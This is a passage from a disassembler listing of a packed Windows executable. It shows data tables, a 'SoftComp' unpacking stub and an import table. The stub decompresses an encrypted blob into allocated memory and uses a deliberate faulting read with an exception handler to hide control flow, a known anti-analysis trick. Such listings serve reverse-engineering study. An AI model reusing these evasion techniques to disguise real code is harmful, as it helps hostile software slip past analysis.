DATA XREF: sub_40647Cw ; sub_40663C+11r ... align 8 dword_418028 dd 883A00h ; DATA XREF: sub_40647C+11w ; sub_40663C:loc_406667r ... dword_41802C dd 0 ; DATA XREF: sub_406B1B+6r ; sub_406BE0+60w ... dword_418030 dd 0 ; DATA XREF: sub_406BE0+42w ; sub_406BE0+65r ... dword_418034 dd 0 ; DATA XREF: sub_406B1B+A9r ; sub_406BE0+7Fw ... dword_418038 dd 0 ; DATA XREF: sub_406B1B+80r ; sub_406BE0+72w ... align 10h byte_418040 db 0 ; DATA XREF: sub_406BE0+2Dr ; sub_406BE0+84w align 4 dd 101h dup(0) byte_418448 db 0 ; DATA XREF: sub_408832+Bo ; sub_4088FC+27r ... align 4 dd 5Fh dup(0) dword_4185C8 dd 40h dup(0) ; DATA XREF: sub_408832+15o ; sub_408832+7Bo ... dword_4186C8 dd 3 dup(0) ; DATA XREF: sub_408832:loc_408862o ; sub_408832+8Bo ... dword_4186D4 dd 0 ; DATA XREF: sub_40882Cr ; sub_408BA7+15r ... dd 0 dword_4186DC dd 0 ; DATA XREF: sub_4098BB+47w byte_4186E0 db 0 ; DATA XREF: sub_409AB1+6o ; sub_409AB1+15w ... align 4 dd 9 dup(0) dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0 dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh dd 16151413h, 191817h, 0 db 0 db 1Ah, 1Bh, 1Ch db 1Dh db 1Eh, 1Fh, 20h a_0123 db '!"#$%&',27h,'()*+,-./0123',0 dd 22h dup(0) byte_4187E4 db 0A5h ; DATA XREF: sub_409C8B+22o ; sub_409C8B+2Fo ... db 4Ch, 0D2h, 0C8h dd 43B7C728h, 32FBC842h, 0AA6009Dh, 0 dword_4187F8 dd 3187DD79h, 178BAD05h, 67BB4D1Dh, 513F55B9h, 0 ; DATA XREF: sub_409D01+24o ; sub_409D01+31o ... dword_41880C dd 0E5B73575h ; DATA XREF: sub_40A9A3+24o ; sub_40AA05+5w ... dword_418810 dd 0CDB3E8EEh ; DATA XREF: sub_40A9A3+30o ; sub_40AA05+Fw ... dword_418814 dd 0A2A51CFBh ; DATA XREF: sub_40A9A3+3Co ; sub_40AA05+19w ... dword_418818 dd 40515006h ; DATA XREF: sub_40A9A3+48o ; sub_40AA05+23w ... align 10h byte_418820 db 96h ; DATA XREF: sub_40ABCC+24o ; sub_40ABCC+31o ... db 0C4h, 0E9h, 0B2h dd 0A1EFFCA8h, 99F78CA4h, 82B580F6h, 2 dup(0) dword_418838 dd 2 dup(0) ; DATA XREF: sub_40CA47+448o dword_418840 dd 0 ; DATA XREF: sub_40D201+308o dword_418844 dd 2 dup(0) ; DATA XREF: sub_40D201+31Ao dword_41884C dd 0 ; DATA XREF: sub_40D88A+Er ; sub_40D88A+1Fw dword_418850 dd 0 ; DATA XREF: sub_40D88A:loc_40D90Fw ; sub_40D88A:loc_40D915r dword_418854 dd 2 dup(0) ; DATA XREF: sub_40DC42o ; sub_40DCB8+78o dword_41885C dd 6B636170h, 652E6465h, 6578h, 3Eh dup(0) ; DATA XREF: sub_4049B5+12Do ; sub_404BC3:loc_404C67o ... dword_418960 dd 0A49A36F0h ; DATA XREF: seg000:0041064Aw dword_418964 dd 0EC358150h ; DATA XREF: seg000:00410654w dword_418968 dd 35365FAFh ; DATA XREF: seg000:0041065Ew dword_41896C dd 3C5507FBh ; DATA XREF: seg000:00410668w dword_418970 dd 6B636170h, 652E6465h, 6578h, 3Fh dup(0) ; DATA XREF: sub_40735A+51Ao ; sub_40735A+52Eo ... dword_418A78 dd 40h dup(0) ; DATA XREF: sub_40735A+7C0o ; sub_4088FC+26Ao ... byte_418B78 db 0 ; DATA XREF: sub_4088FC+E2r ; sub_4088FC+EBo ... align 4 dd 1Fh dup(0) byte_418BF8 db 0 ; DATA XREF: sub_402EFD+E4r ; sub_402EFD+F0o ... align 4 dd 1Fh dup(0) dword_418C78 dd 40h dup(0) ; DATA XREF: sub_403289+34o ; sub_405580+54o ... byte_418D78 db 0 ; DATA XREF: sub_40735A+EC6o ; sub_4088FC+7Fr ... align 400h _data ends ; Section 4. (virtual address 00019000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00019000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute SoftComp segment para public 'CODE' use32 assume cs:SoftComp ;org 419000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 77E7A5FDh, 77E7980Ah, 77E805D8h, 77E79E34h, 77D6ADD7h dd 400000h, 83A5611Dh, 0E93F94E9h, 0D72D8250h, 0C61C7182h dd 0B50B6071h, 0A4F94F60h, 41534C54h, 0Ah dup(0) ; =============== S U B R O U T I N E ======================================= public start start proc near var_24 = dword ptr -24h arg_4B = dword ptr 4Fh ; FUNCTION CHUNK AT 00419127 SIZE 000000E6 BYTES ; FUNCTION CHUNK AT 00419210 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0041921B SIZE 00000028 BYTES pusha jmp loc_419127 start endp ; =============== S U B R O U T I N E ======================================= sub_419062 proc near ; CODE XREF: start+17Cp var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00419101 SIZE 0000000A BYTES pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h xor ebx, ebx loc_419070: ; CODE XREF: sub_419062+16j movsb mov bl, 2 loc_419073: ; CODE XREF: sub_419062+3Bj ; sub_419062+81j call sub_4190E5 jnb short loc_419070 xor ecx, ecx call sub_4190E5 jnb short loc_41909F xor eax, eax call sub_4190E5 jnb short loc_4190AF mov bl, 2 inc ecx mov al, 10h loc_419091: ; CODE XREF: sub_419062+36j call sub_4190E5 adc al, al jnb short loc_419091 jnz short loc_4190DB stosb jmp short loc_419073 ; --------------------------------------------------------------------------- loc_41909F: ; CODE XREF: sub_419062+1Fj call sub_4190F1 sub ecx, ebx jnz short loc_4190B8 call sub_4190EF jmp short loc_4190D7 ; --------------------------------------------------------------------------- loc_4190AF: ; CODE XREF: sub_419062+28j lodsb shr eax, 1 jz short loc_419101 adc ecx, ecx jmp short loc_4190D4 ; --------------------------------------------------------------------------- loc_4190B8: ; CODE XREF: sub_419062+44j xchg eax, ecx dec eax shl eax, 8 lodsb call sub_4190EF cmp eax, 7D00h jnb short loc_4190D4 cmp ah, 5 jnb short loc_4190D5 cmp eax, 7Fh ja short loc_4190D6 loc_4190D4: ; CODE XREF: sub_419062+54j ; sub_419062+66j inc ecx loc_4190D5: ; CODE XREF: sub_419062+6Bj inc ecx loc_4190D6: ; CODE XREF: sub_419062+70j xchg eax, ebp loc_4190D7: ; CODE XREF: sub_419062+4Bj mov eax, ebp mov bl, 1 loc_4190DB: ; CODE XREF: sub_419062+38j push esi mov esi, edi sub esi, eax rep movsb pop esi jmp short loc_419073 sub_419062 endp ; =============== S U B R O U T I N E ======================================= sub_4190E5 proc near ; CODE XREF: sub_419062:loc_419073p ; sub_419062+1Ap ... add dl, dl jnz short locret_4190EE mov dl, [esi] inc esi adc dl, dl locret_4190EE: ; CODE XREF: sub_4190E5+2j retn sub_4190E5 endp ; =============== S U B R O U T I N E ======================================= sub_4190EF proc near ; CODE XREF: sub_419062+46p ; sub_419062+5Cp xor ecx, ecx sub_4190EF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4190F1 proc near ; CODE XREF: sub_419062:loc_41909Fp inc ecx loc_4190F2: ; CODE XREF: sub_4190F1+Dj call sub_4190E5 adc ecx, ecx call sub_4190E5 jb short loc_4190F2 retn sub_4190F1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_419062 loc_419101: ; CODE XREF: sub_419062+50j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn ; END OF FUNCTION CHUNK FOR sub_419062 ; =============== S U B R O U T I N E ======================================= sub_41910B proc near ; CODE XREF: start+16Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 pusha push 40h push 1000h push [esp+28h+arg_0] push 0 call dword ptr ss:word_4138EA[ebp] mov [esp+20h+var_4], eax popa retn 4 sub_41910B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_419127: ; CODE XREF: start+1j call $+5 sub [esp+24h+var_24], 413A12h pop ebp cmp byte ptr ss:dword_413AFC[ebp], 0 jz short loc_419146 add esp, 0FFFFFFECh jmp dword ptr [ebp+413AFDh] ; --------------------------------------------------------------------------- loc_419146: ; CODE XREF: start+DFj inc ss:dword_413AFC[ebp] call $+5 sub [esp+24h+var_24], 151h mov eax, ss:dword_4138FA[ebp] sub [esp+24h+var_24], eax mov eax, [esp+24h+var_24] mov ss:dword_4138FA[ebp], eax pop eax mov eax, ss:dword_4138FA[ebp] mov edx, [eax+3Ch] add edx, eax mov edx, [edx+80h] add edx, eax mov ecx, [edx+60h] mov dword ptr ss:word_4138E6[ebp], ecx mov ecx, [edx+68h] mov dword ptr ss:word_4138EA[ebp], ecx mov ecx, [edx+6Ch] mov dword ptr ss:word_4138F2[ebp], ecx mov ecx, [edx+64h] mov dword ptr ss:word_4138EE[ebp], ecx mov ecx, [edx+7Ch] mov ss:dword_4138F6[ebp], ecx cmp dword ptr ss:word_413916[ebp], 41534C54h jz short loc_4191C5 mov ebx, dword ptr ss:word_413916[ebp] mov edx, dword ptr ss:word_413906[ebp] mov [edx], ebx ; CODE XREF: start+1E0j loc_4191C5: ; CODE XREF: start+159j push 2000h call sub_41910B push eax lea ecx, dword_413B02[ebp] push eax push ecx call sub_419062 add esp, 8 pop eax lea edi, [eax+74h] lea esi, word_4138E6[ebp] mov ecx, 18h rep movsb add eax, 0A4h mov [ebp+413AFDh], eax push eax push large dword ptr fs:0 mov large fs:0, esp jmp short loc_419210 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- prefetchnta byte ptr [eax] ; START OF FUNCTION CHUNK FOR start loc_419210: ; CODE XREF: start+1AFj xor eax, eax mov eax, [eax] jmp short loc_41921B ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 0A401h db 0, 84h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_41921B: ; CODE XREF: start+1B8j nop add [eax], bh adc [eax+70h], al insb inc byte ptr [esi] adc [ecx-27h], al or [ecx], edx and [edx], dl pop esp sub [ecx], al cmc popa fcom dword ptr [ebx] add [esp+ecx+arg_4B], ebx inc eax add eax, 65731056h jb short near ptr loc_4191C3+1 jmp near ptr 604F9DECh ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 8Bh dd 1D3D2474h, 0FC28007Ch, 0DB3380B2h, 2B3A406h, 3E2D6DE8h dd 0C93CF673h, 790964A8h, 42C0791Ch, 3623305Bh, 0F810B041h dd 1219C74Fh, 75F7E0C0h, 0EB3FAA3Fh, 1D4D31D4h, 22F3CB2Bh dd 0EB0F422Eh, 21D1AC28h, 0C9134D74h, 0F911CE4h, 8E0C148h dd 2D2C59DFh, 837DC13Dh, 0FC800A7Dh, 8306A805h, 777F37F8h dd 8B95108Ch, 13AB3C5h, 2BF78056h, 5EA4F3F0h, 28E00EBh dd 8A0575D2h, 12774616h, 41EAC360h, 0DBFFEEE8h, 0E7BB8602h dd 0F2720F05h, 9A4C2BC3h, 7A1C0889h, 0B3E85261h, 0ED815D02h dd 4A403C71h, 233BBD80h, 2A0F4043h, 76DA7485h, 640DA0FEh dd 3E20A0A1h, 2820798Bh, 1F0A058Fh, 604C483h, 323BA285h dd 3C1E50ECh, 92CDD003h, 11812980h, 8D89584Ah, 3E8246CDh dd 0DC9BD30h, 31874FFh, 9D8D406Ah, 16324211h, 11250E53h dd 952A8D6Ah, 8B006F9Eh, 61BD8D51h, 359131Ah, 77FFE8F9h dd 23E8041Bh, 0BA4831D7h, 4A038925h, 0FF50011Ah, 0FEB9E837h dd 14DEAB46h, 17D88B08h, 44FC0A7h, 81A0E983h, 1484BAB5h dd 0E856503Fh, 81FFE815h, 0C1835900h, 0DBC8D08h, 703B1A22h dd 9D75053Fh, 40C5858Ah, 74C08486h, 636E805h, 536E3E02h dd 8518B28Dh, 3530DA6h, 5655C11Eh, 8957C080h, 3B102444h dd 7D63840Fh, 0F6F8308Bh, 70EC0775h, 740E8FFFh, 0C40A77Ch dd 30E1CA0h, 504CCEF1h, 11B3D9AAh, 0D08B0596h, 0D20EFA83h dd 624CED49h, 79F506EDh, 0C4E92D6h, 48748A8Eh, 808EEB3Ah dd 0FF2507E2h, 1EB87A5h, 520243C0h, 6C22CB50h, 835A028Eh dd 78904C6h, 0C7DA2C93h, 5E06B486h, 80F1CF8h, 34EBCE75h dd 0F5368E14h, 0C0830F81h, 0C4891414h, 98917785h, 0EF464EEBh dd 76BD43BCh, 890DB260h, 783243Ch, 0FF61FCECh, 60DC7264h dd 32685141h, 0F18941F1h, 224C222Ch, 0C175D492h, 1904C213h dd 1940346Ch, 9A950411h, 83039B2h, 836918Dh, 4924BD9Fh dd 8442D53Eh, 8DEC90BEh, 1A5EA2B6h, 0AAB28582h, 81B5DE22h dd 0AE85C706h, 0F010014h, 660C4EB7h, 0E140374h, 40C173E3h dd 17A8BDA0h, 0BFA22A75h, 7F49E32Eh, 0C1036987h, 9154EB02h dd 4D200E0Eh, 81460A44h, 43F1218h, 51384410h, 44681C1h dd 85032D51h, 53F75A43h, 0A05241Ch, 44FFF08Bh, 819DEB65h dd 4DB52B71h, 0E07B1787h, 13EB0448h, 0DC595E30h, 2890E208h dd 30228DFFh, 0EB1E1778h, 8A1260EFh, 0C644C19Dh, 8F813049h dd 0B85FBE2h, 9DAEB61h, 0A098288Fh, 1B9AD484h, 0DB0CE824h dd 15CAE98Ch, 0EC8B0355h, 57565351h, 0C10C4DB0h, 0A802E924h dd 33087500h, 4CD3ADD2h, 0E20396C8h, 0FC5589F9h, 599845FBh dd 5B095E5Fh, 8960C3C9h, 1C89897Bh, 4894AB7Dh, 8348666Ah dd 0BCE8FC0Ah, 405A9CAEh, 1D948B5Bh, 38C03FA7h, 1675C23Bh dd 494E9959h, 0C369580Eh, 6E7F7387h, 80C57505h, 0F7958D2Bh dd 0BC5241CCh, 32FF3964h, 43228981h, 0E8C046DEh, 60027803h dd 0F0112C2Fh, 7451E56Ah, 0FC468B99h, 0EE92CCDh, 55538118h dd 0C7526958h, 6EA754B3h, 0A0FE0115h, 39726157h, 6717696Eh dd 0D264421h, 306A0541h, 400853D1h, 6208410Fh, 8B601F7Ch dd 24C2E7ECh, 0D02B0043h, 0C2F47374h, 0C12CDBECh, 0B50452E8h dd 915D4328h, 3E831CA2h, 0E90B7412h, 846A34Eh, 0B68F9FD1h dd 48156711h, 7663E7Bh, 0CEBC11Eh, 7401FB91h, 50020B9Dh dd 0C033D16h, 2F2AEB20h, 0FFE31481h, 1F79850Fh, 0D41F0401h dd 14B20F1Bh, 0B02D0C04h, 0E202881Dh, 0A0EB26BAh, 6BE90925h dd 641CB921h, 8D0B2C6Eh, 23C203FFh, 811935Ch, 252406F5h dd 410EDF04h, 696C2070h, 0E8746163h, 206E076Fh, 1F73656Dh dd 3BC674Eh, 53544D47h, 0B8017F85h, 6AB40h, 26Ch dup(0) SoftComp ends ; Section 5. (virtual address 0001A000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 0001A000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _idata segment para public 'CODE' use32 assume cs:_idata ;org 41A000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 1A03Ch, 2 dup(0) dd 1A084h, 1A058h, 1A074h, 2 dup(0) dd 1A0F4h, 1A07Ch, 5 dup(0) dd 1A092h, 1A0A0h, 1A0B4h, 1A0C6h, 1A0D6h, 1A0E6h, 0 dd 77E75CB5h, 77E79F93h, 77E7A5FDh, 77E805D8h, 77E7980Ah dd 77E79E34h, 0 dd 1A100h, 0 dd 77D6ADD7h, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 0 aExitprocess db 'ExitProcess',0 dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 65470000h dd 6F725074h, 64644163h, 73736572h, 0 aLoadlibrarya db 'LoadLibraryA',0 align 4 aVirtualalloc db 'VirtualAlloc',0 align 4 aVirtualfree db 'VirtualFree',0 aUser32_dll_0 db 'USER32.DLL',0 align 10h dd 654D0000h, 67617373h, 786F4265h, 41h, 3BCh dup(0) _idata ends ; Section 6. (virtual address 0001B000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0001B000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 41B000h align 2000h _idata2 ends end start